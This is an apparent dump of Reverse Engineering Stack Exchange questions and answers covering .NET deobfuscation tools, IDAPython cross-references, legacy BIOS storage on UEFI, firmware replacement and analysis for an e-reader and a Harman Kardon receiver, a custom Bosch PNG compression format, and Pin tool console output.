        "Body": "<p><a href=\"https://i.stack.imgur.com/L4ADx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/L4ADx.png\" alt=\"enter image description here\" /></a></p>\n<p>from previous question i still dont get any info or any process at all... now i asking again with this question is this virtualize code or something? i try many thing and it still didnt work [i unpack this dll from enigma virtual box]</p>\n<p>hope someone can guide me from this thing thank you</p>\n<hr />\n<p>Update</p>\n<p>for someone who still checking this thread</p>\n<p>the problem is DLL itself that get obfuscate,the unpack is not hard and this is not il2 file [this is pc desktop game] this obfuscate is undetect even by DIE [my guess is the author just rename the obfuscate that make deobfuscate program like de4dot unable to deobfus ]</p>\n<p>and idk how to rename it back because all of the methods are unreadble just like my image post</p>\n<p>so im still stuck with this... and i am so busy im sorry if someone who have the same problem didnt get much info except how to unpack [my guess that the author rename the obfuscate because the EVB that the author use also rename it with something else that make DIE undetect packer]</p>\n",
        "Title": "devirtualize? or what is this obfuscator? and how to get rid of this",
        "Tags": "|disassembly|obfuscation|deobfuscation|",
        "Answer": "<p>According to the descriptions provided in the question, Enigma Virtual Box does not necessarily virtualize a code, but rather allows the application's files and records to be consolidated into a single executable file, ie the reason for not being able to analyze is that the new file generated is a loader, already the .Net binary using ConfuserEx can be mostly deobfuscated (When not using mutation or not the latest version in which a manual unpack is needed), you can use tools to do the job for you, see a list of links:</p>\n<ul>\n<li><a href=\"https://github.com/EVBExtractor/evb-extractor\" rel=\"nofollow noreferrer\">Enigma Virtual Box</a></li>\n<li><a href=\"https://github.com/XenocodeRCE/ConfuserEx-Unpacker\" rel=\"nofollow noreferrer\">ConfuserEx-Unpacker</a></li>\n<li><a href=\"https://github.com/BedTheGod/ConfuserEx-Unpacker-Mod-by-Bed\" rel=\"nofollow noreferrer\">ConfuserEx-Unpacker-Mod-by-Bed</a></li>\n<li>Confuser unpack by pc-ret(I didn't find a reliable link)</li>\n</ul>\n<p>To manually obfuse you need to run it with a debugger until you reach EntryPoint from there, dump it and clean it with de4dot (in the older versions of the confuser).</p>\n"
    },
    {
        "Id": "27536",
        "CreationDate": "2021-04-23T12:47:01.143",
        "Body": "<p>I am working on an IDAPython script that is supposed to fix the disassembly of a firmware, by resolving it's symbol table.</p>\n<p>The core of the script is working fine, but I have some issue when it comes to editing the way IDA is displaying stuff in the disassembly panel.</p>\n<p>The idea is the following:</p>\n<p>I have an original instruction like:</p>\n<pre><code>LDR          R1,=0xAAAAAAAA\n</code></pre>\n<p>After the execution of my script, the offset 0xAAAAAAAA is resolved into it's current value, let's say 0xBBBBBBBB, and it adds a comment next to the original instruction:</p>\n<pre><code>LDR          R1,=0xAAAAAAAA ; symbol_address=0xBBBBBBBB, symbol_value='DummyString'\n</code></pre>\n<p>But since I'm only adding a comment, I'm loosing the xRefs to and from the strings.</p>\n<p>What i want to achieve is to edit the instruction itself, so IDA can create the xRefs to the Strings. Something like:</p>\n<pre><code>LDR          R1,=aDummyString \n</code></pre>\n<p>I used this snippet to edit the operand address, which is working:</p>\n<pre><code>create_strlit(resolved_addr, 0, STRTYPE_C) # Defined the resolved string's addr as a proper string\nnew_inst = original_ins.replace(hex(original_addr), hex(resolved_addr))  # Simplified for clarity\nset_manual_insn(addr, new_inst)            # Edit the instruction with the new resolved addr\n</code></pre>\n<p>But my disassembly view does not make the link between the address and the string itself.</p>\n<pre><code>LDR          R1,=0xBBBBBBBB\n</code></pre>\n<p>When i hover my cursor on 0xBBBBBBBB, i can see the correct string; When I click on this address, IDA takes me to the string's location. But it has not created any proper xRefs, and the display does not inform me that this is a string location.</p>\n<p>I tried theses functions to turn the operand into a string reference, but without success:</p>\n<pre><code>op_plain_offset(addr, 1, 0)\nop_offset(addr, 1, REF_OFF32)    # I also tried REF_OFF8 and REF_OFF16, just in case\n</code></pre>\n<p>But it does not update the disassembly view as I want.</p>\n<p>And when i try to do it by hand by doing &quot;right click&quot; -&gt; &quot;Enter the current operand manually&quot;, it works fine :/</p>\n<p>Any suggestion how to do that ?</p>\n<p>Thanks</p>\n",
        "Title": "IDApython - Turning a modified operand into a string reference",
        "Tags": "|idapython|arm|automation|",
        "Answer": "<p>Well, I managed to do it with the add_dref() function:</p>\n<pre><code>add_dref(frm, to, type)\n \nCreate a data cross-reference.\n\nParameters:\n\n    to - linear address of referenced data (C++: ea_t)\n    type - cross-reference type (C++: dref_t)\n\nReturns: bool\n    success (may fail if user-defined xref exists from-&gt;to) \n</code></pre>\n<p>So I can just call this for every resolved symbols:</p>\n<pre><code>add_dref(instruction_addr, resolved_symbol_address, 1)\n</code></pre>\n"
    },
    {
        "Id": "27545",
        "CreationDate": "2021-04-24T07:34:13.737",
        "Body": "<p>Where is the legacy BIOS (the 16 bit reset code that jumps to the POST entry point at F000:E05B and indeed POST itself and all the BIOS routines) originally stored on a UEFI system before it's shadowed to 0xF0000? And the embedded option ROMs before they're shadowed to 0xC0000? And what shadows the legacy BIOS to 0xF000: ME, the Startup ACM, SEC or the legacy BIOS itself?</p>\n<p>It doesn't appear to be in the SPI flash BIOS region (I've searched byte sequences in the dump on IDA). I thought it might be on the LPC or EC flash but my laptop <a href=\"https://notebookschematics.com/wp-content/uploads/2020/09/Dell-Inspiron-15-7577-CKA50-CKF50-Schematic-LA-E992P.jpg\" rel=\"nofollow noreferrer\">doesn't appear to have one</a> (and neither does my flash descriptor show an EC region so don't ask me where the EC ROM is stored either, but it's <a href=\"https://i.stack.imgur.com/FZKC8.jpg\" rel=\"nofollow noreferrer\">supposed to be on the SPI flash</a>, and the schematic doesn't appear to show it having a private SPI flash, but it must do; maybe that's where the legacy BIOS is?); plus it looks like you can only configure the <a href=\"https://www.intel.com/content/www/us/en/products/docs/chipsets/100-c230-series-chipset-pch-datasheet-vol-2.html\" rel=\"nofollow noreferrer\">PCH</a> to send all BIOS ranges to either LPC/eSPI or SPI and not 0xF0000 to one and 0xFFFF0000 to another. My laptop is booted into legacy BIOS and has EA at 0xFFFF0 (so obviously a legacy BIOS shadow) and 90 90 E9 at 0xFFFFFFF0. I can't find anything on this and I've been searching all sorts of combinations on verbatim search for hours, hundreds of manuals, UEFI papers, specifications, and not one mentions it.</p>\n",
        "Title": "Where is the legacy BIOS stored on a UEFI system?",
        "Tags": "|intel|bios|spi|uefi|",
        "Answer": "<p>The legacy BIOS code is usually stored compressed in the UEFI filesystem. You can find it in UEFITool by looking for the magic string <code>IFE$</code> (<code>49 46 45 24</code>) - signature of the <a href=\"https://github.com/fengmm521/VirtualBox_studay/blob/master/VirtualBox-5.2.16/src/VBox/Devices/EFI/Firmware/IntelFrameworkPkg/Include/Protocol/LegacyBios.h\" rel=\"nofollow noreferrer\"><code>EFI_COMPATIBILITY16_TABLE</code></a> structure.</p>\n<p>In AMI based firmware it is usually a RAW subsection of a file names CSMCORE. The following script parses the AMI format raw stream and extracts the legacy BIOS as well as any option ROMs that may be present:\n<a href=\"https://github.com/coreboot/bios_extract/blob/master/csmcoreparse.py\" rel=\"nofollow noreferrer\">https://github.com/coreboot/bios_extract/blob/master/csmcoreparse.py</a></p>\n"
    },
    {
        "Id": "27552",
        "CreationDate": "2021-04-25T09:06:53.297",
        "Body": "<p>Am wondering how to replace the firmware on a Longshine Shinebook (<a href=\"https://manual.longshine.de/4_GPL_Product_Driver/LCS-Shinebook/LCS-Shinebook_Manual.pdf\" rel=\"nofollow noreferrer\">manual</a>, <a href=\"https://manual.longshine.de/4_GPL_Product_Driver/LCS-Shinebook/LCS-Shinebook_Libre_Firmware.rar\" rel=\"nofollow noreferrer\">firmware</a>, <a href=\"https://manual.longshine.de/4_GPL_Product_Driver/LCS-Shinebook/LCS-Shinebook_Opensource.tgz\" rel=\"nofollow noreferrer\">more stuff</a>).</p>\n<p><a href=\"https://i.stack.imgur.com/vtpyh.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vtpyh.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Assuming I modify the firmware files, how do I put the new version on the device? I'm guessing there is some standard method for triggering the update.</p>\n",
        "Title": "Replacing firmware, Longshine Shinebook",
        "Tags": "|firmware|linux|",
        "Answer": "<p>In the firmware package, the <code>/etc/int.d/rcS</code> startup script has these lines at the end:</p>\n<pre><code>#for fs upgrade\n#/bin/sd_upgrade_fs.sh\n/bin/sd_upgrade_fs.sh\n#for factory test\n#sh /bin/mfg_test.sh\n#/bin/watchdog.sh&amp;\n#/lib/modules/usb_mod\n#exec /usr/etc/nanoX.local\n</code></pre>\n<p>And in <code>/bin/sd_upgrade_fs.sh</code> you can see how the initial firmware is written to the device. By looking up &quot;eb600e&quot; and &quot;eb600em&quot; present in <code>/files/</code>. I found <a href=\"https://www.mobileread.com/forums/showthread.php?t=60496\" rel=\"nofollow noreferrer\">this old thread</a> with some suggestions on how to trigger a firmware update process.</p>\n"
    },
    {
        "Id": "27569",
        "CreationDate": "2021-04-27T16:11:15.850",
        "Body": "<p>I've come across some files which are used in a car's satellite navigation system. Looking at the files in a hex editor shows the <code>\u2030PNG</code> signature, but the chunks do not follow the format spec - for example:</p>\n<pre>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  05 00 10 00 43 50 52 4E 41 56 5F 32 36 02 00 00  ....CPRNAV_26...\n00000010  03 00 01 00 1C 00 00 00 08 01 00 00 4B 00 CA 3D  ............K.\u00ca=\n00000020  FC 06 35 54 38 25 56 C8 1F 50 E9 06 04 58 85 5E  \u00fc.5T8%V\u00c8.P\u00e9..X\u2026^\n00000030  8C 91 E1 AD 84 DF 60 49 FC 01 61 FF 47 A9 D5 6A  \u0152\u2018\u00e1.\u201e\u00df`I\u00fc.a\u00ffG\u00a9\u00d5j\n00000040  B5 B2 06 48 65 0D D0 FA BE C3 D3 0E A1 EF 3B BC  \u00b5\u00b2.He.\u00d0\u00fa\u00be\u00c3\u00d3.\u00a1\u00ef;\u00bc\n00000050  EF F0 BE C3 73 0E A1 EF 3B BC EF F0 BE C3 73 0E  \u00ef\u00f0\u00be\u00c3s.\u00a1\u00ef;\u00bc\u00ef\u00f0\u00be\u00c3s.\n00000060  A1 DB E1 0F 58 E4 3E <strong>89 50 4E 47 0D 0A 1A 0A</strong> 00  \u00a1\u00db\u00e1.X\u00e4><strong>\u2030PNG....</strong>.  // PNG begins here\n00000070  00 00 <strong>0D 49 48 44 52</strong> F0 E0 08 02 B2 E1 7C 5E 00  ..<strong>.IHDR</strong>\u00f0\u00e0..\u00b2\u00e1|^.  // IHDR chunk indicated as 13 (0x0D) bytes, yet this is clearly not the case\n00000080  01 73 52 47 42 00 AE CE 1C E9 06 62 4B 47 44 00  .sRGB.\u00ae\u00ce.\u00e9.bKGD.\n00000090  FF A0 BD A7 93 09 70 48 59 73 0B 11 01 7F 64 5F  \u00ff \u00bd\u00a7\u201c.pHYs....d_\n000000A0  91 07 74 49 4D 45 07 E0 02 18 07 12 13 CC F8 BA  \u2018.tIME.\u00e0.....\u00cc\u00f8\u00ba\n000000B0  BA B6 49 44 41 54 78 DA ED D2 C1 0D 04 00 31 C4  \u00ba\u00b6IDATx\u00da\u00ed\u00d2\u00c1...1\u00c4\n000000C0  FE 2B 33 83 AF B4 23 5C 2E A7 27 E0 8B 92 00 43  \u00fe+3\u0192\u00af\u00b4#\\.\u00a7'\u00e0\u2039\u2019.C\n000000D0  83 A1 C1 D0 60 68 0C 0D 86 06 43 83 A1 C1 D0 18  \u0192\u00a1\u00c1\u00d0`h..\u2020.C\u0192\u00a1\u00c1\u00d0.\n000000E0  1A 0C 0D 86 06 31 34 18 1A 63 68 30 34 C6 30 8D  ...\u2020.14..ch04\u00c60.\n000000F0  60 86 AB 05 8F 4F 03 C2 58 19 85 B6 00 49 45 4E  `\u2020\u00ab..O.\u00c2X.\u2026\u00b6.IEN\n00000100  44 AE 42 60 82 00 00 00                          D\u00aeB`\u201a...</pre>\n<p>As you can see, several standard PNG chunk names are present (<code>sRGB</code>, <code>bKGD</code>, <code>IDAT</code>, etc.) however the data between them appears to be compressed/encrypted.</p>\n<p>My observations so far:</p>\n<ul>\n<li>bytes <code>0x14-17</code> seem to be a DWORD indicating the custom header size (<code>0x1C</code> or 28 bytes)</li>\n<li>bytes <code>0x1C-1D</code> seem to be a WORD indicating the size of the data between themselves and where the actual PNG header begins (<code>0x4B00</code> or 75 bytes, including the 2 size bytes) - this might be the compressed data table/dictionary</li>\n<li>files are aligned to 4 byte blocks with <code>0x00</code></li>\n<li>of the 2,196 compressed PNG files, exactly half have the same <code>IHDR</code> data: <code>F0 E0 08 02 B2 E1 7C 5E 00 01</code>; the other half have <code>01 90 88 08 02 E0 58 21 6D</code></li>\n<li>similarly, half of the files' compressed data/dictionaries begin with the same 22 bytes: <code>FC 06 31 46 85 53 68 85 84 F9 95 6E 40 80 55 E8 C5 18 19 DE 4A F8</code>; the other half begin with <code>FC 06 35 54 38 25 56 C8 1F 50 E9 06 04 58 85 5E 8C 91 E1 AD 84</code> - note how <em>every</em> file begins with <code>FC 03 3x xx</code></li>\n</ul>\n<hr />\n<p><strong>Update 2:</strong> I've created a <a href=\"https://github.com/sapphire-bt/lcn2kai-decompress\" rel=\"nofollow noreferrer\">GitHub repository</a> with my progress so far, for anyone who's willing to take a look.</p>\n<p><strong>Update 1:</strong> After digging around, I've managed to find a copy of the firmware with the symbols included (available here: <a href=\"https://www.mediafire.com/file/a0u7k2m87aj1jp6/Files.zip/file\" rel=\"nofollow noreferrer\">https://www.mediafire.com/file/a0u7k2m87aj1jp6/Files.zip/file</a>) and I'm pretty sure I've located the correct function for decompressing the files: <code>cpr_tclDecompressAlgorithm::bDecompressData</code>.</p>\n<p>Unfortunately, I'm not able to make a great deal of sense of it, but what I can see from the symbols is that:</p>\n<ul>\n<li>a couple of custom structs are used in the decompression method, <code>cpr_tclCodeTable</code> and <code>cpr_tclCodeTableEntry</code></li>\n<li>the structs are then used with methods called <code>cpr_tclCodeTable::iu32SearchIndexOfCode</code> and <code>cpr_tclCodeTable::corfoGetCodeEntry</code></li>\n<li>decompression begins by calling <code>cpr_tclDecompressAlgorithm::u32GetNextBits</code> to read 32 bits / 4 bytes</li>\n<li>the return value from <code>u32GetNextBits</code> is used with <code>&amp; 3</code> and right shifted 2 bits, which indicates the first two bits are used as some kind of flag</li>\n</ul>\n<p>I will post IDA's pseudocode of the function below, but I'm not expecting anyone to spend a great deal of time on this - I just wondered if anyone can recognise what's happening here, e.g. Huffman, LZSS, etc.</p>\n<pre><code>int __fastcall cpr_tclDecompressAlgorithm::bDecompressData(int a1, int a2, int a3, size_t a4, unsigned int a5, int a6)\n{\n  int v7; // r8\n  unsigned int v10; // r5\n  int v11; // r9\n  void *v12; // r0\n  unsigned int v13; // r8\n  unsigned int v14; // r0\n  const cpr_tclCodeTable *CodeTable; // r11\n  unsigned int v16; // r6\n  unsigned int v17; // r7\n  unsigned int v18; // r0\n  int v19; // r0\n  int v20; // r2\n  int v21; // r3\n  int v22; // r5\n  int v23; // r0\n  int v24; // r7\n  unsigned int v25; // r1\n  int v26; // r3\n  _BYTE *v27; // r0\n  size_t v28; // r6\n  __int16 v29; // r12\n  int v30; // r2\n  int v31; // r5\n  int v32; // r0\n  unsigned int v33; // r10\n  int v34; // r3\n  _BYTE *v35; // r1\n  int v36; // r0\n  unsigned int v37; // r12\n  int v38; // r3\n  void *v39; // r0\n  size_t v40; // r5\n  int v41; // r2\n  int result; // r0\n  int v43; // r3\n  int v44; // r2\n  _BYTE *v45; // r2\n  int v46; // r0\n  int v47; // r3\n  _BOOL4 v48; // r3\n  int v49; // r0\n\n  *(_DWORD *)(a1 + 16) = a4;\n  v7 = a2 &amp; 3;\n  *(_DWORD *)(a1 + 12) = a3;\n  *(_DWORD *)(a1 + 4) = a2;\n  *(_DWORD *)(a1 + 8) = a2;\n  if ( (a2 &amp; 3) != 0 )\n  {\n    v49 = trc_szGetFileName(\n            &quot;/opt/bosch/DI_SWNAVI_13.2C5P10/di_swnavi/components/dapi/devicemanager/devicehandler/compression/cpr_decompression.cpp&quot;);\n    trc_tclGlobalTrace::vTraceLevel1(21504, 332, v49, &quot;CPR read access to unaligned adress 0x%x&quot;, a2);\n    return 0;\n  }\n  cpr_tclDecompressAlgorithm::vInterpreteHeader((cpr_tclDecompressAlgorithm *)a1, a5);\n  v10 = a5 - *(_DWORD *)(a1 + 48);\n  if ( a4 &lt; a5 )\n  {\n    if ( a4 &lt;= v10 )\n    {\n      *(_DWORD *)(a1 + 48) = v7;\n      v10 = a4;\n      v11 = 1;\n      goto LABEL_7;\n    }\n    *(_DWORD *)(a1 + 48) = a4 - v10;\n  }\n  v11 = v7;\nLABEL_7:\n  v12 = *(void **)(a1 + 12);\n  v13 = (unsigned int)v12 + v10;\n  if ( !v10 )\n    goto LABEL_34;\n  if ( a6 == 3 )\n  {\n    v14 = cpr_tclDecompressAlgorithm::u32GetNextBits((cpr_tclDecompressAlgorithm *)a1, 0x20u);\n    CodeTable = (const cpr_tclCodeTable *)(*(_DWORD *)a1 + 44 * (v14 &amp; 3));\n    v16 = v14 &gt;&gt; 2;\n    v17 = 2;\n    cpr_tclDecompressAlgorithm::vInit((cpr_tclDecompressAlgorithm *)a1, CodeTable);\n    while ( 1 )\n    {\n      while ( 1 )\n      {\n        if ( *(_DWORD *)(a1 + 12) &gt;= v13 )\n          goto LABEL_34;\n        v18 = cpr_tclCodeTable::iu32SearchIndexOfCode(CodeTable, v16);\n        v19 = cpr_tclCodeTable::corfoGetCodeEntry(CodeTable, v18);\n        v20 = *(_DWORD *)(v19 + 12);\n        v21 = *(unsigned __int8 *)(v19 + 16);\n        v22 = v19;\n        v17 += v21;\n        v16 &gt;&gt;= v21;\n        if ( v20 != 3 )\n          break;\n        v23 = cpr_tclDecompressAlgorithm::u32GetNextBits((cpr_tclDecompressAlgorithm *)a1, v17);\n        v24 = *(unsigned __int8 *)(v22 + 17);\n        v25 = v23 | v16;\n        v26 = (v23 | v16) &amp; ~(-1 &lt;&lt; v24);\n        v27 = *(_BYTE **)(a1 + 12);\n        v28 = (unsigned __int16)(v26 + *(_WORD *)(v22 + 2));\n        v29 = *(_WORD *)(v22 + 6);\n        v30 = *(_DWORD *)(a1 + 44);\n        v31 = *(unsigned __int8 *)(v22 + 18);\n        if ( v13 &lt; (unsigned int)&amp;v27[v28] )\n        {\n          if ( v11 != 1 )\n          {\n            v32 = trc_szGetFileName(\n                    &quot;/opt/bosch/DI_SWNAVI_13.2C5P10/di_swnavi/components/dapi/devicemanager/devicehandler/compression/cpr&quot;\n                    &quot;_decompression.cpp&quot;);\n            trc_tclGlobalTrace::vTraceLevel1(\n              21504,\n              253,\n              v32,\n              &quot;CPR Overwrite Copy n=%d wpos=0x%x epos=0x%x&quot;,\n              v28,\n              *(_DWORD *)(a1 + 12),\n              v13);\nLABEL_24:\n            result = 0;\n            goto LABEL_35;\n          }\n          v28 = (unsigned __int16)(v13 - (_WORD)v27);\n        }\n        v33 = v25 &gt;&gt; v24;\n        v34 = -(unsigned __int16)(v29 + (((v25 &gt;&gt; v24) &amp; ~(-1 &lt;&lt; v31)) &lt;&lt; v30));\n        v35 = &amp;v27[-(unsigned __int16)(v29 + (((v25 &gt;&gt; v24) &amp; ~(-1 &lt;&lt; v31)) &lt;&lt; v30))];\n        if ( v28 == 2 )\n        {\n          *v27 = v27[v34];\n          *(_BYTE *)(*(_DWORD *)(a1 + 12) + 1) = v35[1];\n        }\n        else\n        {\n          memcpy(v27, v35, v28);\n        }\n        v17 = v31 + v24;\n        *(_DWORD *)(a1 + 12) += v28;\n        v16 = v33 &gt;&gt; v31;\n      }\n      if ( v20 == 2 )\n      {\n        v36 = cpr_tclDecompressAlgorithm::u32GetNextBits((cpr_tclDecompressAlgorithm *)a1, v17);\n        v17 = *(unsigned __int8 *)(v22 + 17);\n        v37 = v36 | v16;\n        v38 = (v36 | v16) &amp; ~(-1 &lt;&lt; v17);\n        v39 = *(void **)(a1 + 12);\n        v40 = (unsigned __int16)(v38 + *(_WORD *)(v22 + 2));\n        if ( v13 &lt; (unsigned int)v39 + v40 )\n        {\n          if ( v11 != 1 )\n          {\n            v41 = trc_szGetFileName(\n                    &quot;/opt/bosch/DI_SWNAVI_13.2C5P10/di_swnavi/components/dapi/devicemanager/devicehandler/compression/cpr&quot;\n                    &quot;_decompression.cpp&quot;);\n            trc_tclGlobalTrace::vTraceLevel1(\n              21504,\n              291,\n              v41,\n              &quot;CPR Overwrite Lit n=%d wpos=0x%x epos=0x%x&quot;,\n              v40,\n              *(_DWORD *)(a1 + 12),\n              v13);\n            goto LABEL_24;\n          }\n          v40 = (unsigned __int16)(v13 - (_WORD)v39);\n        }\n        v16 = v37 &gt;&gt; v17;\n        memcpy(v39, *(const void **)(a1 + 8), v40);\n        v43 = *(_DWORD *)(a1 + 12) + v40;\n        v44 = *(_DWORD *)(a1 + 8) + v40;\n      }\n      else\n      {\n        v45 = *(_BYTE **)(a1 + 12);\n        if ( (_BYTE *)v13 == v45 )\n        {\n          v46 = trc_szGetFileName(\n                  &quot;/opt/bosch/DI_SWNAVI_13.2C5P10/di_swnavi/components/dapi/devicemanager/devicehandler/compression/cpr_d&quot;\n                  &quot;ecompression.cpp&quot;);\n          trc_tclGlobalTrace::vTraceLevel1(\n            21504,\n            306,\n            v46,\n            &quot;CPR Overwrite Lit1 n=1 wpos=0x%x epos=0x%x&quot;,\n            *(_DWORD *)(a1 + 12),\n            v13);\n          goto LABEL_24;\n        }\n        *v45 = **(_BYTE **)(a1 + 8);\n        v43 = *(_DWORD *)(a1 + 12) + 1;\n        v44 = *(_DWORD *)(a1 + 8) + 1;\n      }\n      *(_DWORD *)(a1 + 12) = v43;\n      *(_DWORD *)(a1 + 8) = v44;\n    }\n  }\n  if ( a6 == 1 )\n  {\n    memcpy(v12, *(const void **)(a1 + 4), v10);\n    result = 1;\n    *(_DWORD *)(a1 + 12) += v10;\n  }\n  else\n  {\nLABEL_34:\n    result = 1;\n  }\nLABEL_35:\n  v47 = *(_DWORD *)(a1 + 48);\n  v48 = v47 != 0;\n  if ( result != 1 )\n    v48 = 0;\n  if ( v48 )\n  {\n    memset(*(void **)(a1 + 12), 0, *(_DWORD *)(a1 + 48));\n    result = 1;\n  }\n  return result;\n}\n</code></pre>\n",
        "Title": "Has anyone encountered PNGs where the chunk data is encrypted/compressed?",
        "Tags": "|decompress|binary-format|",
        "Answer": "<p>To answer my own question, this appears to be a custom compression format by Bosch, the manufacturer of the car head unit.</p>\n<p>I have been successful in decompressing all of the PNG files; my solution can be found on GitHub <a href=\"https://github.com/sapphire-bt/lcn2kai-decompress\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>It would have been impossible to reverse engineer the compression format without disassembling the firmware as the data at the beginning of the file is used to retrieve values from a hardcoded &quot;code table&quot;.</p>\n"
    },
    {
        "Id": "27575",
        "CreationDate": "2021-04-28T08:16:26.640",
        "Body": "<p>I'm writing a pin tool (Windows, x64, PIN 3.18), and it starts like this:</p>\n<pre><code>int main(int argc, char *argv[]) {\n    std::cerr &lt;&lt; &quot;Initializing...&quot; &lt;&lt; std::endl;\n</code></pre>\n<p>This is how I'm calling the tool:\n<code>C:\\pin\\intel64\\bin\\pin -t C:\\pin\\source\\tools\\MyPinTool\\x64\\Release\\MyPinTool.dll -- mspaint.exe</code></p>\n<p>Nothing is ever printed to stderr. <code>fprintf(stderr, ...)</code> also prints nothing. stdout seems to behave in the same way.\nThe tool itself works, and if I instead fprintf to a file, that works as well.\nIt doesn't seem to me like I'm deviating from the docs examples.</p>\n<p>I also searched in the docs for stuff related to output with no luck.</p>\n<p>Why is nothing getting printed?</p>\n",
        "Title": "PIN tool doesn't write to stdout or sterr on windows",
        "Tags": "|pintool|",
        "Answer": "<p>The pintool is a DLL which is injected into the target process and runs in its context. Since mspaint is a GUI program, it does not have a console to which print output could go. You have the following options:</p>\n<ol>\n<li>Change mspaint.exe subsystem to console so that a console window is allocated on startup.</li>\n<li>Call <code>AllocConsole()</code> in your pintool and set up stdout/stderr to go there (not sure about the details here).</li>\n<li>Use an explicitly opened log file for output instead of stderr.</li>\n</ol>\n"
    },
    {
        "Id": "27580",
        "CreationDate": "2021-04-29T07:26:30.680",
        "Body": "<p>First of all, I'm very new to reverse engineering, but I know about hex, binary, opcodes, et cetera.</p>\n<p>I'm trying to reverse engineer a Harman Kardon firmware file, because I think there are some API calls hidden in the firmware that may be useful for home automation.</p>\n<p>For some reason, binwalk only says there is a XML file in the firmware (but doesn't extract it). And there seems to be some MIPS16e instructions in it, which I don't know how to extract.</p>\n<p><code>binwalk -AB</code> output:</p>\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n504842        0x7B40A         MIPS16e instructions, function prologue\n777848        0xBDE78         XML document, version: &quot;1.0&quot;\n</code></pre>\n<p>I also checked the file for other texts (which are in it). Therefore, I think it isn't encrypted.\nThe &quot;XML document&quot; is only this: <code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;harman&gt;&lt;avr&gt;&lt;common&gt;&lt;status&gt;&lt;name&gt;</code>.</p>\n<p>After that, only other random texts, which can be seen in the menu of the device, are showed.</p>\n<p>I don't know if it is okay to dump the firmware here, so I won't unless someone asks for it.</p>\n<p>How to proceed in reverse engineering this?</p>\n",
        "Title": "Harman Kardon firmware reverse engineering",
        "Tags": "|firmware|firmware-analysis|binwalk|",
        "Answer": "<p>If you run <code>strings</code> on your firmware file, you can typically get a lot of helpful information. In this case, since I don't know what your device is other than a Harman Kardon &quot;something,&quot; I searched through the strings in a text editor until I found the line</p>\n<blockquote>\n<p>User-Agent:Harman Kardon AVR151/AVR1510</p>\n</blockquote>\n<p>Just to double-check the firmware does belong to the Harman Kardon AVR151/1510, I downloaded the latest release from <a href=\"https://www.harmankardon.com/software.html\" rel=\"nofollow noreferrer\">their website</a> and did a binary diff between that firmware and the firmware you linked. Strangely enough, the firmware you linked and the one on Harman Kardon's website are only different by the first byte in the file; the rest of the bytes in each file are identical.</p>\n<p>Finding out what processor is in there can be tricky. You could take it apart and look, but you probably don't need to (and if it's under warranty, that can be a risky proposition, but then again so can modifying the firmware...) For a lot of devices, you can get internal photos by searching <code>FCC [device name]</code> because devices using the radio spectrum in the US have to go through FCC certification. The FCC page for this family of receivers provides <a href=\"https://fccid.io/APIAVR1610AN/Internal-Photos/Internal-photos-1878949\" rel=\"nofollow noreferrer\">internal photos</a>, but they're too low-res to figure out what ICs are in there. A good next step is searching <code>AVR151 teardown</code> and <code>AVR151 repair</code> since, for most devices, someone's opened it up and tried to repair it. In this case, I found a <a href=\"https://www.youtube.com/watch?v=iubls0DAOIk\" rel=\"nofollow noreferrer\">youtube video</a> of someone performing a board level repair on the AVR151 and at about 8m44s, you can see a shot of the main logic board showing all the components on it:</p>\n<p><a href=\"https://i.stack.imgur.com/pCIGd.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pCIGd.jpg\" alt=\"screenshot from a youtube video showing the logic board from the AVR-151 with visible ICs\" /></a></p>\n<p>The STM32 on the bottom left seems to be the main programmable IC on the board, with the part number STM32F205Z6T6 (<a href=\"https://www.st.com/resource/en/datasheet/stm32f205rb.pdf\" rel=\"nofollow noreferrer\">pdf</a>). The Analog Devices chip goes to the HDMI ports on the back panel and is an ADV7623 HDMI transceiver (you can also find a couple references to the ADV7623 in the <code>strings</code> output for the firmware file.) The ESMT chip is an SDRAM, and the CS497024 is an audio DSP. The chips on the right side that are cut off are another audio DSP and a Frontier Silicon Chorus FS1230, which looks like an SoC meant for integrated audio tuners and other devices, since it connects to an RF front-end as well as displays, non-volatile storage, networking, etc. (<a href=\"https://frontiersmart.com/sites/default/files/Chorus3_PB.pdf\" rel=\"nofollow noreferrer\">pdf</a>). I believe it is also programmable, but beyond that data brief PDF, I can't find much information on the chip.</p>\n<p>If you look at the datasheet for the STM32F205Z6T6, it's got 1MB of flash memory, but the firmware file you posted is 3MB, so chances are there's more than just STM32 firmware in that file. If you analyze the entropy in the posted firmware, you see a couple distinct regions of high entropy (<a href=\"https://i.stack.imgur.com/l7Uzt.jpg\" rel=\"nofollow noreferrer\">image, linked because it's very tall</a>)* separated by blank space represented as white blocks, so my guess is there's a region of code for the bootloader, another region for the main firmware for the STM32F205, and probably some data that could be written to non-volatile storage, firmware/configuration for the FS1230, or any number of other things, and not necessarily in that order.</p>\n<p>If you look at the file at offset 0xFFFFF (1MB, or the size of the STM32F205 flash), you'll see there's a pretty sharp break between blank data and the start of some new data, so I'd guess that this may be where the firmware stops and the other data begins. That said, the same thing happens at offset 0x1FFFFF (2MB), so you'll have to do some further analysis. See:</p>\n<p><a href=\"https://i.stack.imgur.com/tQ2SW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tQ2SW.png\" alt=\"screenshot of a hex editor showing a data break at 1MB\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/tgtHX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tgtHX.png\" alt=\"screenshot of a hex editor showing a data break at 2MB\" /></a></p>\n<p>If you really want to dig deeper, the description in the youtube video I linked earlier claims to provide the factory service manual for the AVR151, though I'm not sure how it was obtained so I'll refrain from linking it here; likewise, with the information here, coupled with the provided firmware, I think you should have a pretty good start. I believe Igor Skochinsky is correct in saying that at least some of this provided firmware file is code for that STM32F205 (or at least, I'd be surprised if it wasn't), though I didn't go too in-depth with loading it into some toolset and playing with it any further.</p>\n<p>My gut feeling is that most of the interesting stuff happens in that FS1230 and information on that chip is difficult to come by, so you may have a tough time deciphering  what's going on there or determining how to modify the firmware or reverse engineer it without a datasheet or reference manual. That said, there's a lot of interesting strings in the binary file and you now know quite a bit about what's inside the AVR-151, so I think 